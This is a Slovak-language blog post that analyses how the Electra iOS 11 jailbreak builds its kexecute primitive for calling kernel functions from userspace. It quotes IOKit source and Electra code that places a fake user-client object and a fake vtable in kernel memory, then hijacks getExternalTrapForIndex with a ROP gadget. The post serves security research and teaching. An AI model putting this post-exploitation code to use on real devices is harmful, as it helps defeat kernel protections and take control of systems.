Pred niekoľkými mesiacmi bol zverejnený jailbreak nazvaný Electra (1). Jailbreak je vyvinutý pre iOS verzie 11.2 - 11.3.1 s využitím kernel exploitov (2-3), ktoré zverejnil Ian Beer z Project Zero spoločnosti Google.
Tím za jailbreakom Electra kombinuje a elegantne využíva viacero verejne známych techník, aby dosiahol oslabenie bezpečnostných mechanizmov a spustenie nepodpísaného kódu na zariadení.
Tento krátky príspevok neobsahuje žiadne nové techniky, ale skôr podrobne opisuje implementáciu kexecute, ktorá slúži na obmedzené, no za to efektívne volania funkcií jadra z tzv. userspace.
Pôvodne sme chceli porovnať Electra kexecute s kexecute poskytovanou Qilinom (4) (známy post-exploitačný framework) avšak v čase písania tohto príspevku, Qilin exportuje funkciu kexecute, avšak knižnica neobsahuje jej implementáciu (shasum: fabc6a8d99b1c2cdd35277533b003f630fd2a2bf).
Počas post-exploitácií sa ocitáme v pozícii, keď priame volanie funkcií jadra nás môže zachrániť pred komplikovanými situáciami. Simulácia volaní kernel funkcií za pomoci schopnosti čítať a zapisovať ľubovoľné hodnoty na ľubovoľné adresy môže byť naozaj komplikovanou úlohou. Cieľom je nechať jadro pracovať pre nás!
Táto technika bola uverejnená v prednáške "Tales from iOS 6 Exploitation and iOS 7 Security Changes" od Stefana Essera (5).
V prvom rade potrebujeme pohodlný spôsob, ako preniesť argumenty poslané používateľom do jadra. Pozrime sa teda, čo nám poskytne IOKit framework.
kern_return_t
IOConnectTrap6(io_connect_t connect,
uint32_t index,
uintptr_t p1,
uintptr_t p2,
uintptr_t p3,
uintptr_t p4,
uintptr_t p5,
uintptr_t p6 )
{
return iokit_user_client_trap(connect, index, p1, p2, p3, p4, p5, p6);
}
IOConnectTrap6(...) umožňuje používateľom zaslať až 6 argumentov do kernelland. Funkcia automaticky vyvolá iokit_user_client_trap(...).
Funkcia iokit_user_client_trap(...) vracia návratovú hodnotu z funkcie zavolanej nad inštanciou IOExternalTrap, ktorá je popísaná nasledujúcou štruktúrou:
struct IOExternalTrap {
IOService * object;
IOTrap func;
};
Následne iokit_user_client_trap(...) funkcia vyvolá trap funkciu s argumentmi, ktoré sú zaslané používateľom.
kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args)
{
kern_return_t result = kIOReturnBadArgument;
IOUserClient *userClient;
if ((userClient = OSDynamicCast(IOUserClient,
iokit_lookup_connect_ref_current_task((OSObject *)(args->userClientRef))))) {
IOExternalTrap *trap;
IOService *target = NULL;
trap = userClient->getTargetAndTrapForIndex(&target, args->index);
if (trap && target) { // [A]
IOTrap func;
func = trap->func;
if (func) {
result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
}
}
iokit_remove_connect_reference(userClient);
}
return result;
}
Môžme kontrolovať target a trap, ktoré sú vrátené z funkcie getTargetAndTrapForIndex(...)?
Z nasledujúceho urývku zdrojového kódu je jasné, že ak sa nám podarí nahradiť funkcia getExternalTrapForIndex(...) inštancie IOUserClient, inou, nami kontrolovanou funkciou, máme pod kontrolou *targetP a navrátený trap. Z nami ovládaného trapu vieme kontrolovať ukazovateľ na funkciu (target->*func), ktorú kernel zavolá.
IOExternalTrap * IOUserClient::
getTargetAndTrapForIndex(IOService ** targetP, UInt32 index)
{
IOExternalTrap *trap = getExternalTrapForIndex(index);
if (trap) {
*targetP = trap->object;
}
return trap;
}
Generická metóda volania ľubovoľných funkcií je modifikovať vtable IOUserClient inštancie tak, že vyvolanie iokit_user_client_trap(...) nakoniec zavolá nami kontrolovaný ukazovateľ na funkciu. Vzhľadom na to, že inštancie IOUserClient sú alokované na halde a správajú sa v pamäti ako C++ objekty, prvou adresou C++ inštancií uložených v pamäti je adresa takzvanej vtable. Vtable obsahuje záznamy adries všetkých virtuálnych funkcií, ktoré môžu byť nad inštanciou zavolané. Okrem toho konvencia volaní metód vyžaduje aby prvý argument zaslaný do volanej funkcie bol ukazovateľ "this". Tento ukazovateľ odkazuje na samého seba. Podľa if podmienky [A] vidíme, že tento argument nemôže byť NULL.
Adresy IOUserClient inštancií sú uložené v portoch respektíve v ich ip_kobject, čo je možné vidieť ak sa bližšie pozrieme na implementáciu iokit_lookup_connect_ref(...) z predchádzajúceho úryvku:
EXTERN io_object_t
iokit_lookup_connect_ref(io_object_t connectRef, ipc_space_t space)
{
io_object_t obj = NULL;
if (connectRef && MACH_PORT_VALID((mach_port_name_t)connectRef)) {
ipc_port_t port;
kern_return_t kr;
kr = ipc_object_translate(space, (mach_port_name_t)connectRef, MACH_PORT_RIGHT_SEND, (ipc_object_t *)&port);
if (kr == KERN_SUCCESS) {
assert(IP_VALID(port));
if (ip_active(port) && (ip_kotype(port) == IKOT_IOKIT_CONNECT)) {
obj = (io_object_t) port->ip_kobject;
iokit_add_reference(obj);
}
ip_unlock(port);
}
}
return obj;
}
Pozrime sa na konkrétnu implementáciu v podaní Electra tímu. Upozorňujeme, že kód je len úryvok a sú znázornené iba dôležité riadky.
mach_port_t prepare_user_client(void) {
...
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
...
return user_client;
}
Funkcia prepare_user_client() vytvorí IOSurfaceRoot inštanciu a vráti jej adresu.
Bližší pohľad na nasledujúcu funkciu odhaľuje skutočnú implementáciu požadovanej funkcionality.
void init_kexecute(void) {
user_client = prepare_user_client();
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address
IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field
uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
// Create the vtable in the kernel memory, then copy the existing vtable into there
fake_vtable = kalloc(fake_kalloc_size);
for (int i = 0; i < 0x200; i++) {
wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
}
// Create the fake user client
fake_client = kalloc(fake_kalloc_size);
for (int i = 0; i < 0x200; i++) {
wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
}
// Write our fake vtable into the fake user client
wk64(fake_client, fake_vtable);
// Replace the user client with ours
wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);
// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret());
}
Funkcia find_port(user_client) vyhľadá adresu portu v našom tasku. Adresa IOSurfaceRootUserClient inštancii je vyextrahovaná z kobject. Od tohto momentu, existuje viacero možností, ktoré môžu dostať autorov k cieľu.
Tím mohol prepísať vtable záznam getExternalTrapForIndex(...) falošného objektu s adresou funkcie, ktorá by vrátila nimi kontrolované hodnoty (napr. getRegistryEntryID(), ...). Hodnota je kontrolovaná vzhľadom na schopnosť prepisovať ľubovoľné hodnoty na ľubovoľnom mieste.
Ďalšou možnosťou je nahradiť getExternalTrapForIndex(index) tzv. gadgetom, ktorý posunie kontrolovanú adresu v registri na miesto, kde môžu vytvárať ľubovoľné dáta bez toho aby sa niečo pokazilo.
Táto metóda je využitá v Electre. Najprv, je v hlade vytvorená a inicializovaná falošná vtable. Následne až 0x200 záznamov z pôvodnej vtable IOSurfaceRootUserClient inštancie je skopírovaných do falošnej vtable. Falošná inštancia o veľkosti _kalloc_size je inicializovaná na halde. Až 0x200 členov originálnej inštancie (vrátane adresy vtable address, refcount, atď..) je skopírovaných do falošnej inštancii. Adresa falošnej vtable je zapísaná do falošnej inštancii. Takto vytvorená inštancia je následne zapísaná do kobject v tasku.
Vtable záznam metódy IOUserClient::getExternalTrapForIndex je prepísaný adresou, kde sa nachádza gadget "add x0, x0, #0x40; ret;".
Pozrime sa, čo sa stane ak zavoláme iokit_user_client_trap(...). Kernel vyhľadá našu falošnú inštanciu a zavolá nad ňou spomenutý gadget. Pamätáte si čo je prvý parameter zaslaný do metódy(momentálne uložený v x0)? Samozrejme sa jedná o adresu nášho falošného objektu s kontrolovateľnými dátami. Gadget posunie adresu v x0 #0x40 dopredu, tak, že x0 preskakuje miesta, ktoré nemôžeme pokaziť ako napr. adresa vtable, refcount, etc. Táto adresa uložená v x0 je následne použitá ako adresa objektu IOExternalTrap. Cieľom je vytvoriť falošný IOExternalTrap objekt na tejto adrese.
Člen nazvaný target bude ukazovať na objekt nad ktorým bude metóda volaná. V našom prípade je tento člen použitý ako implicitne zaslaný prvý argument volanej metódy.
Člen "func" bude ukazovať na adresu, ktorú kernel zavolá.
Nasledujúca funkcia kexecute(...) vytvára takýto falošný IOExternalTrap objekt, kde x0 reprezentuje "this" ukazovateľ a addr reprezentuje adresu funkcie, ktorú kernel zavolá.
IOConnectTrap6(...) nám týmto spôsobom poskytuje možnosť volať takmer ľubovoľnú funkciu z kernelu s určitými obmedzeniami. Limitácie sú nasledujúce: prvý argument nemôže byť NULL, maximálny počet zaslaných argumentov je 7, návratová hodnota je zoseknutá na 32 bitov.
Okrem toho, táto funkcia upravuje členy, ktoré boli zmenené na originálne.
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
uint64_t offx20 = rk64(fake_client+0x40);
uint64_t offx28 = rk64(fake_client+0x48);
wk64(fake_client+0x40, x0);
wk64(fake_client+0x48, addr);
uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
wk64(fake_client+0x40, offx20);
wk64(fake_client+0x48, offx28);
pthread_mutex_unlock(&kexecute_lock);
return returnval;
}
Funkcia term_kexecute zapisuje naspať pôvodnú adresu inštancie IOSurfaceRootUserClient a uvoľnuje falošný objekt s falošnou vtable z pamäte.
void term_kexecute(void) {
wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);
kfree(fake_vtable, fake_kalloc_size);
kfree(fake_client, fake_kalloc_size);
}
Ak by ste chceli vedieť ako táto technika môže byť vylepšená a použitá na skúmanie jadra za pomoci JOP chains, odporúčame prečítať si blog dostupný na https://bazad.github.io/2017/09/live-kernel-introspection-ios/.
Ďakujeme Brandovoni Azadovi za revíziu blogu a následné usmernenie.
Odkazy:
(1)
https://coolstar.org/electra/
(2)
https://bugs.chromium.org/p/project-zero/issues/detail?id=1564
(3)
https://bugs.chromium.org/p/project-zero/issues/detail?id=1558
(4)
http://newosxbook.com/QiLin/
(5)
https://conference.hitb.org/hitbsecconf2013kul/materials/D2T2 - Stefan Esser - Tales from iOS 6 Exploitation and iOS7 Security Changes.pdf